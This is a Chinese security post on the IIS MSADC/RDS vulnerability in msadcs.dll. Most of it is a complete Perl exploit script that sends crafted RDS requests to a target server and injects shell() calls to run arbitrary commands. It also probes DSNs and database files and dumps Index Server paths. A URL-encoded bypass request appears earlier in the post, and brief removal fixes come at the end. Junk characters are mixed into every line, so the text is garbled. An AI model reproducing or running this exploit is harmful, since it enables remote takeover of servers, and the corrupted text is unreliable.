IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
X%7Y\| Ug=8:a(U. 涉及程序：
MF/359r)Et Microsoft NT server
9.R )iA {l= ! 描述：
Ilvz @= 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
Pb$ep| `u O@ jW&-; 详细：
bq3G3oAyG 如果你没有时间读详细内容的话，就删除:
}PGl8F ! c:\Program Files\Common Files\System\Msadc\msadcs.dll
+D|y))fE 有关的安全问题就没有了。
(9x8,f0z 3IHya=qN 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
:70cOt~Z k W Yjqv 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
(v*$ Ex F 关于利用ODBC远程漏洞的描述，请参看:
ot P7;l w^09|k http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm Ib AGnl { z8+3/jLN0B 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
/7 X:=~m http://www.microsoft.com/security/bulletins/MS99-025faq.asp I 3o6ym-i HgY"nrogt$ 这里不再论述。
&G?b|Tb2 M
H }4F 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
lqe;lWC0Z . Rxz;-VA /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
uN V (r" 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
i[)H!%RV* Qy |*[ >_h *N H #将下面这段保存为txt文件，然后: "perl -x 文件名"
,6?L .L wYZFW'5p #!perl
1c WUPVQ #
s)W^P4< # MSADC/RDS 'usage' (aka exploit) script
XEM i~L+ #
lil1$K: i # by rain.forest.puppy
0 }jB/Z_T #
G^J|_!.a # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
aLTC#c%U # beta test and find errors!
EI6K0{'&X 7u-o7#,X2 use Socket; use Getopt::Std;
S{aK\>>H getopts("e:vd:h:XR", \%args);
k8w }2Vw MHJH@$|] print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
s<LF=qGu #WlIH7J8Tc if (!defined $args{h} && !defined $args{R}) {
D_@WB.e L print qq~
`~QS3zq Usage: msadc.pl -h <host> { -d <delay> -X -v }
DQY*0\ -h <host> = host you want to scan (ip or domain)
Lh0Pvq0C -d <seconds> = delay between calls, default 1 second
}7E2,A9_" -X = dump Index Server path table, if available
z/aZD\[_ -v = verbose
_ ] veTAV -e = external dictionary file for step 5
8 W
Mhe=[ (gZKR2hO
Or a -R will resume a command session
z/(^E8F >p Y0f } ~; exit;}
ZAVj q;bq <rV3(qb#]J $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
IGEs1 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
ZW
n j- if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
9mfqr$ 3 if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
}stc]L{79 $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
-bT1Qh
X if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
+T02AS :786Z,') if (!defined $args{R}){ $ret = &has_msadc;
O` R@6KG die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
] P;Ng=a Z}6 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
\zCT""'i . "cmd /c ";
oH H-joYnn $in=<STDIN>; chomp $in;
[=imF^=3Vb $command="cmd /c " . $in ;
Qvt gB,~Y511 if (defined $args{R}) {&load; exit;}
o_hk!s^4m uc4#giCD print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
6jT+kq) &try_btcustmr;
v1wMXOR |%.V{vgP7 print "\nStep 2: Trying to make our own DSN...";
5> M6 lwS &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
%7WGodlXW x
TEDC,B print "\nStep 3: Trying known DSNs...";
$6Z@0H@X &known_dsn;
^"N]i`dIF LRl2@&z< print "\nStep 4: Trying known .mdbs...";
WBdC}S
}3t &known_mdb;
#wn `choT' v.Wkz9
w} if (defined $args{e}){
&'
E( print "\nStep 5: Trying dictionary of DSN names...";
D /wX &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
G*. }EoA uh#"4-v print "Sorry Charley...maybe next time?\n";
";\na!MT exit;
\= 3V]7\& _qwKFC ##############################################################################
$< &N# {T EF#iF sub sendraw { # ripped and modded from whisker
^5n"L2 9V sleep($delay); # it's a DoS on the server! At least on mine...
t@dv$W2
" my ($pstr)=@_;
Bg.~#H socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
? I7}4i7 die("Socket problems\n");
{uVv o=3 if(connect(S,pack "SnA4x8",2,80,$target)){
Z_^i2eJYT select(S); $|=1;
>drG,v0qh print $pstr; my @in=<S>;
oNW5/W2e; select(STDOUT); close(S);
RlJt+lnV return @in;
?Ybgzb } else { die("Can't connect...\n"); }}
Q7uhz5oZ ^lA Dq'] ##############################################################################
O2z{>\ T \Zf`.mt sub make_header { # make the HTTP request
/{h@A~<96 my $msadc=<<EOT
Y| %s =0M POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
NF9fPAF%; User-Agent: ACTIVEDATA
prJ]u H, Host: $ip
&d1|B`gL| Content-Length: $clen
4}C^s\?z Connection: Keep-Alive
:xqhPr]e of? hP1kl[ ADCClientVersion:01.06
ep|>z#1 Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
ddR*&.Y!a oll J#i9 --!ADM!ROX!YOUR!WORLD!
T
>BlnA Content-Type: application/x-varg
[diUO1p Content-Length: $reqlen
{,
+,:w7 T'W)RYnwl EOT
K+2sq+ 3q ; $msadc=~s/\n/\r\n/g;
!'yCB9]O return $msadc;}
+MHsdeGU1W qIXo_H&\C ##############################################################################
v@_^h}h/,= FBDRb J
su sub make_req { # make the RDS request
yiourR)H< my ($switch, $p1, $p2)=@_;
D7v-+jypp my $req=""; my $t1, $t2, $query, $dsn;
O $
p | r|<cc# if ($switch==1){ # this is the btcustmr.mdb query
r
.&<~x $query="Select * from Customers where City=" . make_shell();
#ZzFAt $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
H@-txO1`:: $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
VR5CRN BJ OD;-0Bj elsif ($switch==2){ # this is general make table query
8:D|[u;iG $query="create table AZZ (B int, C varchar(10))";
"`va_Mk $dsn="$p1";}
,}8|[)" DL*/h bG elsif ($switch==3){ # this is general exploit table query
Oq[2<ept $query="select * from AZZ where C=" . make_shell();
rzl0*CR $dsn="$p1";}
Nj p?/r q:iB}ch5R elsif ($switch==4){ # attempt to hork file info from index server
VXfp=JE $query="select path from scope()";
/=y _ # l $dsn="Provider=MSIDXS;";}
!L| }/u3v ^/ "[jq3F elsif ($switch==5){ # bad query
^0x0 r Y $query="select";
KR49Y>s< $dsn="$p1";}
5*~]=(BE Es7+bFvsE8 $t1= make_unicode($query);
uT\|jv, $t2= make_unicode($dsn);
J>o% 6D $req = "\x02\x00\x03\x00";
tAi
~ i;? $req.= "\x08\x00" . pack ("S1", length($t1));
f+WN=-F\ $req.= "\x00\x00" . $t1 ;
>14 x.c $req.= "\x08\x00" . pack ("S1", length($t2));
:gwM$2 vv $req.= "\x00\x00" . $t2 ;
>GV(\In $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
~_ XK<}SK return $req;}
yJ0q)x sS T09 'qB ##############################################################################
%}`zq8Q; be->ofUYgs sub make_shell { # this makes the shell() statement
bF"1M#u: return "'|shell(\"$command\")|'";}
zJMm=Mw^ g )L?C'BG ##############################################################################
.%x1%TN *vqr+jr9 sub make_unicode { # quick little function to convert to unicode
:(?F(Q ^ my ($in)=@_; my $out;
3$~oQC for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
F<YXkG4 pO return $out;}
Y3n6y+Uzk I@M3u/7 ##############################################################################
7_ G$& } G3:QD sub rdo_success { # checks for RDO return success (this is kludge)
5ltrr(MeD my (@in) = @_; my $base=content_start(@in);
`B%IHr if($in[$base]=~/multipart\/mixed/){
JNx;/6'd, return 1 if( $in[$base+10]=~/^\x09\x00/ );}
UG,< \k& return 0;}
k^i\<@v {gkY:$xnrG ##############################################################################
Vx#n0z @
)2<$d sub make_dsn { # this makes a DSN for us
D= ^|6} my @drives=("c","d","e","f");
;
`Vbl_"L print "\nMaking DSN: ";
n#dv BK0M foreach $drive (@drives) {
-|WQs'%O print "$drive: ";
p_:bt7
B my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
b MvHA tp "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
+\yQZ{4'@ . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
.dQEr~f #} $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
I$Ra*r return 0 if $2 eq "404"; # not found/doesn't exist
ui!MQk+D9 if($2 eq "200") {
_9 B ^@~ foreach $line (@results) {
_q1b3)`D return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
qHf 8z;lc } return 0;}
*f*o
,~8V1 >&?k^nI}J ##############################################################################
U^~jB= =] @@pI>~#zh sub verify_exists {
{~0 r3N4Zl my ($page)=@_;
4.& hV?Kxz my @results=sendraw("GET $page HTTP/1.0\n\n");
XR@C^d return $results[0];}
H"vy[/ UcR U:+wt}-T" ##############################################################################
cd3;uB4\, vNIQ1x5Za sub try_btcustmr {
V")u
y&Ob my @drives=("c","d","e","f");
w\{oOlE my @dirs=("winnt","winnt35","winnt351","win","windows");
'^ob3N/Y [ 4cQ| "sOzD foreach $dir (@dirs) {
eW /sP Q- print "$dir -> "; # fun status so you can see progress
svj0; x5 foreach $drive (@drives) {
2r*Yd(e print "$drive: "; # ditto
p`mNy
o' $reqlen=length( make_req(1,$drive,$dir) ) - 28;
>oasA2S $reqlenlen=length( "$reqlen" );
n*nsFvt%o $clen= 206 + $reqlenlen + $reqlen;
u0?,CQPL En:/{~9{ F my @results=sendraw(make_header() . make_req(1,$drive,$dir));
#57D10 j if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
? 1
~C`I; else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
e )): U [W,} & ##############################################################################
]zUvs6ksLG m)oGeD( ! sub odbc_error {
o3kVcX^ my (@in)=@_; my $base;
# *)X+ * my $base = content_start(@in);
x17K8 De if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
nAY'1!O i $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
us$=) m~v+ $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
s i,W.9rU $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:I/i"g7< return $in[$base+4].$in[$base+5].$in[$base+6];}
i-E/#zni print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
N2/t print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
ZT1IN6;8W $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
w\(; >e@ /+g)J0u ##############################################################################
Udl8?EVSz ZgH(,g,TU sub verbose {
~uRL+<.c my ($in)=@_;
}n[<$*W^ return if !$verbose;
YfZ96 C[a print STDOUT "\n$in\n";}
TL *8h7.( a i@hQJ* ##############################################################################
Y>i5ubR~ =lG/A[66 sub save {
ON
q =b I* my ($p1, $p2, $p3, $p4)=@_;
p"k[ac{ open(OUT, ">rds.save") || print "Problem saving parameters...\n";
zilM+BZ 8 print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
[)L) R` close OUT;}
K! e 51P )"4v0dv ##############################################################################
N&K`bmtD 1C]mxV=% sub load {
ux= 0N]lc my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
V<W$ h` open(IN,"<rds.save") || die("Couldn't open rds.save\n");
zd-qQ.j0 @p=<IN>; close(IN);
KE*8Y4#9 $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
6&KvT2?tA` $target= inet_aton($ip) || die("inet_aton problems");
Y24H`
s1u/ print "Resuming to $ip ...";
l
%M0^d6M $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
m\xlSNW'q if($p[1]==1) {
g+ P
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
X^c 2 $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
7v{s?h->$ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
3sF^6<E if (rdo_success(@results)){print "Success!\n";}
n,vs(ZL : else { print "failed\n"; verbose(odbc_error(@results));}}
O\&[|sGY{ elsif ($p[1]==3){
1xsIM'& if(run_query("$p[3]")){
nlsif print "Success!\n";} else { print "failed\n"; }}
m2h@* elsif ($p[1]==4){
T**v!Ls if(run_query($drvst . "$p[3]")){
h-+ GS% print "Success!\n"; } else { print "failed\n"; }}
NPY\ >pf exit;}
W< sa6,$ H\!p%Y ##############################################################################
I2G: jMPy lU&[){ sub create_table {
2T > K!jS my ($in)=@_;
:y% CP8 $reqlen=length( make_req(2,$in,"") ) - 28;
ro NRbA] $reqlenlen=length( "$reqlen" );
eemw
I $clen= 206 + $reqlenlen + $reqlen;
jS c!"Trl] my @results=sendraw(make_header() . make_req(2,$in,""));
U\~9YX 8 return 1 if rdo_success(@results);
} X?M6;$) my $temp= odbc_error(@results); verbose($temp);
<)am]+Lswy return 1 if $temp=~/Table 'AZZ' already exists/;
W3aFao>!OZ return 0;}
BK ;Gh0mp HJ ^SqSm ##############################################################################
.XTR
HL*: wR]jJ b F sub known_dsn {
pS6p}S=1] # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
s. ]<r5v7 my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
O~~W P*N "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
HmQ.' "banner", "banners", "ads", "ADCDemo", "ADCTest");
D6L5X/# 4M,Q{G |e foreach $dSn (@dsns) {
97 eEqI$# print ".";
;:DDz next if (!is_access("DSN=$dSn"));
J,SP1-L if(create_table("DSN=$dSn")){
aTL u7C\-e print "$dSn successful\n";
SR8)4:aKW if(run_query("DSN=$dSn")){
Svqj@@_f print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
Ql8s7 % print "Something's borked. Use verbose next time\n";}}} print "\n";}
0+dc XV %DhR= ##############################################################################
OAw- -rl uw>O|&! sub is_access {
k3yA*Ec my ($in)=@_;
Q / zlU@ $reqlen=length( make_req(5,$in,"") ) - 28;
;U)xZ _Ew~ $reqlenlen=length( "$reqlen" );
tPq We2 $clen= 206 + $reqlenlen + $reqlen;
EJ@&vuDd$ my @results=sendraw(make_header() . make_req(5,$in,""));
DV{0 |E my $temp= odbc_error(@results);
0aM&+j\q } verbose($temp); return 1 if ($temp=~/Microsoft Access/);
eEl71 return 0;}
*'to#_n&W
;Y9-0W ##############################################################################
Uu_Es{@ !fmbm4 !a
sub run_query {
h
]6: `5- my ($in)=@_;
NXHe;G $reqlen=length( make_req(3,$in,"") ) - 28;
RIdh],- $reqlenlen=length( "$reqlen" );
<{P`A%g@ $clen= 206 + $reqlenlen + $reqlen;
pt$\ pQ my @results=sendraw(make_header() . make_req(3,$in,""));
vN9R. R return 1 if rdo_success(@results);
i@m@]-2 my $temp= odbc_error(@results); verbose($temp);
m" / o4 return 0;}
J ~.` cw"Ou% ##############################################################################
?>/9ae^Bw q>rDxmP < sub known_mdb {
oH=' \M%+ my @drives=("c","d","e","f","g");
Rn$[P. || my @dirs=("winnt","winnt35","winnt351","win","windows");
:i9=W j my $dir, $drive, $mdb;
V| &->9" my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
U!i1~)s ,n3e8qd # this is sparse, because I don't know of many
ZA+w7S3 my @sysmdbs=( "\\catroot\\icatalog.mdb",
)_olJCdaP^ "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
+3F%soum95 "\\system32\\certmdb.mdb",
0,whTnH| "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
= 6'Fm$R 9 2x)Pc^D my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FD al;T
"\\cfusion\\cfapps\\forums\\forums_.mdb",
I%:\"g "c "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
V}X>~ '% "\\cfusion\\cfapps\\security\\realm_.mdb",
i_(6} Y& "\\cfusion\\cfapps\\security\\data\\realm.mdb",
5=&ME(fmV "\\cfusion\\database\\cfexamples.mdb",
|*$0~ mA "\\cfusion\\database\\cfsnippets.mdb",
_9C,N2a{C "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
0b G# '.- "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
3Fw7q" "\\cfusion\\brighttiger\\database\\cleam.mdb",
k8c( |/7d "\\cfusion\\database\\smpolicy.mdb",
Ggry,3X3 "\\cfusion\\database\cypress.mdb",
Cto>~pV "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
ua E,F^p "\\website\\cgi-win\\dbsample.mdb",
hdeI /4 B "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
8]mRX~ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
fjC FJ_ ); #these are just
H<3:1*E foreach $drive (@drives) {
iPdS>e e foreach $dir (@dirs){
WjguM foreach $mdb (@sysmdbs) {
C8W_f( i~ print ".";
U+R9bn if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
1 -$+@Xl print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;nrkC\SYh: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
pg Q^w0BQV print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
R^B8** N } else { print "Something's borked. Use verbose next time\n"; }}}}}
Dn)B19b OLo?=1&;; foreach $drive (@drives) {
eA *We foreach $mdb (@mdbs) {
$x CJ5M4 print ".";
6L rI,d if(create_table($drv . $drive . $dir . $mdb)){
\l%##7DRp] print "\n" . $drive . $dir . $mdb . " successful\n";
k[)/, 1 if(run_query($drv . $drive . $dir . $mdb)){
0{
_6le] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
W[sQ_Z1C } else { print "Something's borked. Use verbose next time\n"; }}}}
qI>,PX }
jGoQXiX I@5$ <SN ##############################################################################
3 9MOqVc "!_vQ^y sub hork_idx {
R13V }yL print "\nAttempting to dump Index Server tables...\n";
e,Z[Nox print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
U o aWI2 $reqlen=length( make_req(4,"","") ) - 28;
IwBO#HR~) $reqlenlen=length( "$reqlen" );
el\xMe^SY $clen= 206 + $reqlenlen + $reqlen;
r9*6=*J| my @results=sendraw2(make_header() . make_req(4,"",""));
(>,b 5g if (rdo_success(@results)){
N f)SR#; my $max=@results; my $c; my %d;
=J"c'Z>. for($c=19; $c<$max; $c++){
&bGf{P*Da $results[$c]=~s/\x00//g;
gW^4@ q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
tt
CC]
Q $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
.4l
cES~ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
]q"y P 0 $d{"$1$2"}="";}
JNT|h zV foreach $c (keys %d){ print "$c\n"; }
<Ql2+e v6 } else {print "Index server doesn't seem to be installed.\n"; }}
f]mVM(XZN 6oFA=CjU{ ##############################################################################
0x<G\ l4 8C? E1fH\ sub dsn_dict {
HG DiwA open(IN, "<$args{e}") || die("Can't open external dictionary\n");
|j{]6Nu while(<IN>){
=GW[UnO $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
4CtWEq next if (!is_access("DSN=$dSn"));
[>U2!4=$M if(create_table("DSN=$dSn")){
\ .+:yV<$ print "$dSn successful\n";
?G<?: /CU if(run_query("DSN=$dSn")){
(Q&O'ng1 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
rg =Ym. print "Something's borked. Use verbose next time\n";}}}
x JnN95`R@ print "\n"; close(IN);}
4#.Q|vyl]" d c_2 nF ##############################################################################
HIt9W]koO
(^B=> sub sendraw2 { # ripped and modded from whisker
<r(D\rm D sleep($delay); # it's a DoS on the server! At least on mine...
7TU xdI my ($pstr)=@_;
3.g 4X?=zd socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
G'';VoW= die("Socket problems\n");
G1*,~1 i if(connect(S,pack "SnA4x8",2,80,$target)){
HuK Ob4g print "Connected. Getting data";
`Q/\w1-Q open(OUT,">raw.out"); my @in;
+\u\BJ!LAJ select(S); $|=1; print $pstr;
_
b</
::Tp while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
DO9K close(OUT); select(STDOUT); close(S); return @in;
+EqL| } else { die("Can't connect...\n"); }}
NB86+2stu `B:hX eI ##############################################################################
d0f(U k tA,J ~|+f: sub content_start { # this will take in the server headers
O3%#Q3c >3 my (@in)=@_; my $c;
_^ic@h3'X~ for ($c=1;$c<500;$c++) {
^R)]_ if($in[$c] =~/^\x0d\x0a/){
${}9/(x/^ if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
G )`gn else { return $c+1; }}}
}R Y Pr return -1;} # it should never get here actually
*J
>6i2M,u W^S]"N0u ##############################################################################
GU 9p'E m(EV C}Y sub funky {
Fu\#:+5\ my (@in)=@_; my $error=odbc_error(@in);
L/%{,7l<^? if($error=~/ADO could not find the specified provider/){
lz1cLl
m print "\nServer returned an ADO miscofiguration message\nAborting.\n";
.cx9+; exit;}
Bn=YGEvz if($error=~/A Handler is required/){
=UWW(^M#[: print "\nServer has custom handler filters (they most likely are patched)\n";
Z! jJ93A" exit;}
:_nGh]% if($error=~/specified Handler has denied Access/){
1,U)rx$H print "\nServer has custom handler filters (they most likely are patched)\n";
0ia-D`^me exit;}}
.|TF /b] yX%> %#$ ##############################################################################
,_D@ggL- Ge=\IAj sub has_msadc {
Qw |y%Td8r my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
yJlRW!@&: my $base=content_start(@results);
,JTyOBB<I return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
"?W8 o[c + return 0;}
hhI*2|i"L D~`R LPMk ########################
x") Bmw$ =}u?1~V F[F
NtZ 解决方案：
H`Zg-j` 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
cf*~G x_l 2、移除web 目录: /msadc
